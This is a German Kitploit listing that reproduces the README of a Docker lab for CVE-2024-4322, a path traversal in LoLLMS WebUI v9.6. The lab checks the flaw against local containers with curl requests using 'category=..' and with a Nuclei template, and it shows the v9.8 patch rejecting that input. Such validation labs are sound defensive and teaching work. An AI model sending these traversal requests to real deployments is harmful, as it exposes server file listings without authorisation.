Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
POC_CVE-2024-4322 — POC_CVE-2024-4322 | Kitploit
Tools/GitHubGitHub/mj-bin/poc_cve-2024-4322
Vulnerability AnalysisExploitationWeb SecurityCTFLearning & EducationLabs & Practice
GitHubmj-bin/poc_cve-2024-4322

POC_CVE-2024-4322

POC_CVE-2024-4322

Repository anzeigen
vor 3 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2024-4322: LoLLMS WebUI PoC & Nuclei-Validierungslabor

Dieses Repository stellt Docker-basierte lokale Laborumgebungen zur Reproduktion von CVE-2024-4322 bereit, einer Path-Traversal-Sicherheitslücke in LoLLMS WebUI v9.6, sowie zur Validierung, dass das zugehörige Nuclei-Template nicht auf LoLLMS WebUI v9.8 zutrifft.

Verwenden Sie dieses Labor ausschließlich gegen lokale, eigene oder explizit autorisierte Ziele.

Zusammenfassung der Sicherheitslücke

Der Endpunkt /list_personalities in LoLLMS WebUI v9.6 ist anfällig für Path Traversal. Der benutzergesteuerte Parameter category wird ohne Bereinigung an den Pfad personalities_zoo_path angehängt:

root@kitploit:~
personalities_dir = lollmsElfServer.lollms_paths.personalities_zoo_path/f'{category}'

Durch Senden von category=.. kann die Anfrage das beabsichtigte Personalities-Verzeichnis verlassen und den Inhalt eines übergeordneten Verzeichnisses auflisten.

Erwartetes Sicherheitslücken-Signal:

root@kitploit:~
category=   -> []
category=.. -> Antwort enthält "personalities_zoo"

Das korrigierte Verhalten in v9.8 lehnt den Traversal-Eingabe vor der Verzeichnisauflistung ab.

Labormatrix

Führen Sie alle Befehle aus dem Verzeichnis aus, das diese README enthält.

Linux anfälliges Labor

1. Server starten

root@kitploit:~
docker compose up --build -d linux-vuln-server
docker compose logs -f linux-vuln-server

Warten Sie auf:

root@kitploit:~
Uvicorn running on http://0.0.0.0:9600

Drücken Sie Strg-C, um das Verfolgen der Logs zu beenden. Der Container läuft weiter.

2. HTTP-Verhalten überprüfen

root@kitploit:~
curl -sS 'http://127.0.0.1:9600/list_personalities?category=' | jq .
curl -sS 'http://127.0.0.1:9600/list_personalities?category=..' | jq .

Erwartetes Ergebnis:

root@kitploit:~
[]
["personalities_zoo","extensions_zoo","bindings_zoo","models_zoo"]

Die Reihenfolge kann variieren. Das wichtige Signal ist, dass die Traversal-Antwort sich von der Kontrollantwort unterscheidet und personalities_zoo enthält.

3. Mit Nuclei validieren

root@kitploit:~
nuclei -duc -validate -t templates/CVE-2024-4322.yaml
nuclei -duc -u http://127.0.0.1:9600 -t templates/CVE-2024-4322.yaml -debug

Erwartetes Ergebnis:

root@kitploit:~
[CVE-2024-4322:dsl-1] [http] [high] http://127.0.0.1:9600/list_personalities?category=..

Linux anfällig Nuclei-Validierung

Linux gepatchtes Labor

1. Server starten

root@kitploit:~
docker compose --profile patched up --build -d linux-patched-server
docker compose --profile patched logs -f linux-patched-server

Warten Sie auf:

root@kitploit:~
Uvicorn running on http://0.0.0.0:9600

2. HTTP-Verhalten überprüfen

root@kitploit:~
curl -i 'http://127.0.0.1:9602/list_personalities?category='
curl -i 'http://127.0.0.1:9602/list_personalities?category=..'

Erwartetes Ergebnis:

root@kitploit:~
category=   -> HTTP 200 []
category=.. -> HTTP 400 {"detail":"Detected an attempt of path traversal or command injection. Are you kidding me?"}

3. Mit Nuclei validieren

root@kitploit:~
nuclei -duc -u http://127.0.0.1:9602 -t templates/CVE-2024-4322.yaml

Erwartetes Ergebnis:

root@kitploit:~
[INF] Scan completed ... 0 matches found.

Linux gepatcht Nuclei-Validierung

Windows anfälliges Labor

Dies erfordert Docker Desktop im Modus Windows-Container. Führen Sie die folgenden Befehle aus diesem Verzeichnis in PowerShell aus.

1. Server starten

root@kitploit:~
docker compose --profile windows up --build -d windows-vuln-server
docker compose --profile windows logs -f windows-vuln-server

Warten Sie auf:

root@kitploit:~
Uvicorn running on http://0.0.0.0:9600

2. HTTP-Verhalten überprüfen

root@kitploit:~
curl.exe -sS "http://127.0.0.1:9601/list_personalities?category="
curl.exe -sS "http://127.0.0.1:9601/list_personalities?category=.."

Erwartetes Ergebnis:

root@kitploit:~
[]
["bindings_zoo","extensions_zoo","models_zoo","personalities_zoo"]

Die Reihenfolge kann variieren. Das wichtige Signal ist, dass die Traversal-Antwort sich von der Kontrollantwort unterscheidet und personalities_zoo enthält.

3. Mit Nuclei validieren

root@kitploit:~
nuclei -duc -u http://127.0.0.1:9601 -t .\templates\CVE-2024-4322.yaml -debug

Erwartetes Ergebnis:

root@kitploit:~
[CVE-2024-4322:dsl-1] [http] [high] http://127.0.0.1:9601/list_personalities?category=..

Windows anfällig Nuclei-Validierung

Windows gepatchtes Labor

Dies erfordert Docker Desktop im Modus Windows-Container. Führen Sie die folgenden Befehle aus diesem Verzeichnis in PowerShell aus.

1. Server starten

root@kitploit:~
docker compose --profile windows up --build -d windows-patched-server
docker compose --profile windows logs -f windows-patched-server

Warten Sie auf:

root@kitploit:~
Uvicorn running on http://0.0.0.0:9600

2. HTTP-Verhalten überprüfen

root@kitploit:~
curl.exe -i "http://127.0.0.1:9603/list_personalities?category="
curl.exe -i "http://127.0.0.1:9603/list_personalities?category=.."

Erwartetes Ergebnis:

root@kitploit:~
category=   -> HTTP 200 []
category=.. -> HTTP 400 {"detail":"Detected an attempt of path traversal or command injection. Are you kidding me?"}

3. Mit Nuclei validieren

root@kitploit:~
nuclei -duc -u http://127.0.0.1:9603 -t .\templates\CVE-2024-4322.yaml

Erwartetes Ergebnis:

root@kitploit:~
[INF] Scan completed ... 0 matches found.

Windows gepatcht Nuclei-Validierung

Bereinigung

Linux-Container:

root@kitploit:~
docker compose --profile patched down --rmi local

Windows-Container:

root@kitploit:~
docker compose --profile windows down

Voraussetzungen

  • Docker und Docker Compose.
  • Docker Desktop im Windows-Container-Modus für die Windows-Labore.
  • curl.
  • jq für die Linux-anfällig-HTTP-Beispiele.
  • Nuclei für die Template-Validierung.

Falls jq auf dem Linux-Host nicht verfügbar ist, verwenden Sie den Analysten-Container:

root@kitploit:~
docker compose --profile tools run --rm analyst sh
curl -sS 'http://linux-vuln-server:9600/list_personalities?category=' | jq .
curl -sS 'http://linux-vuln-server:9600/list_personalities?category=..' | jq .

Falls Nuclei nicht auf Windows installiert ist, laden Sie das Windows-Release-Binary von https://github.com/projectdiscovery/nuclei/releases herunter, entpacken Sie es und führen Sie nuclei.exe direkt aus dem extrahierten Verzeichnis aus.

Hinweise zur Laboreinrichtung

Die Dockerfiles patchen während des Builds die historischen Installationsprogramme, sodass das Labor heute reproduzierbar ist:

  • Die anfälligen Labore klonen den lollms-webui-Tag v9.6.

  • Die gepatchten Labore klonen den lollms-webui-Tag v9.8.

  • Die lollms_core-Submodul-URL wird auf https://github.com/ParisNeo/lollms_legacy.git umgeschrieben, da die alte Quellhistorie dorthin verschoben wurde.

  • Die Versionsfestlegung wird anhand der Upstream-Git-Metadaten überprüft: v9.6 ist e2f2d313cd6ea3fe81dfc4496f985f5b650853b9 und v9.8 ist 8a8e3a1c386321f641a014bf8f7029512ccad411.

    root@kitploit:~
    git ls-remote --tags https://github.com/ParisNeo/lollms-webui.git refs/tags/v9.6 refs/tags/v9.8
    
  • Die entsprechenden lollms_core-Submodul-Commits sind für v9.6 und für v9.8, überprüft mit bei jedem Tag-Checkout.

Begründung des Patches

Die verletzte Invariante lautet:

root@kitploit:~
Der aufgelöste Pfad muss innerhalb des Personalities-Verzeichnisses bleiben

LoLLMS WebUI v9.8 und höher beheben das Problem, indem sie den category-Pfad bereinigen oder einschränken, bevor er die Dateisystem-Verzeichnisauflistungslogik erreicht. Für reale Bereitstellungen aktualisieren Sie LoLLMS WebUI auf Version 9.8 oder höher.

Tool herunterladen
UmgebungVersionDienstHost-URLErwartetes Template-Ergebnis
Linux anfälligv9.6linux-vuln-serverhttp://127.0.0.1:9600Übereinstimmung
Linux gepatchtv9.8linux-patched-serverhttp://127.0.0.1:9602keine Übereinstimmung
Windows anfälligv9.6windows-vuln-serverhttp://127.0.0.1:9601Übereinstimmung
Windows gepatchtv9.8windows-patched-serverhttp://127.0.0.1:9603keine Übereinstimmung
cfb18f6f1091addf440347322441ab28005a2d3b
6f45b1ca828e9f75ca3ed38aaf0d04d0f72a0a49
git ls-tree HEAD lollms_core
  • auto_update und auto_sync_*-Optionen sind deaktiviert, um jedes Labor auf seinem Stand zu halten.

  • Headless-Konfigurationsdateien werden eingespielt, sodass der Server ohne Eingabeaufforderungen starten kann.

  • Schwere Abhängigkeiten, die für die Endpunkt-Validierung nicht benötigt werden, werden nach Möglichkeit übersprungen.

  • Die Windows-Installationsprogramme werden gepatcht, um ihr temporäres Verzeichnis zu erstellen und veraltete rekursive Submodule zu vermeiden.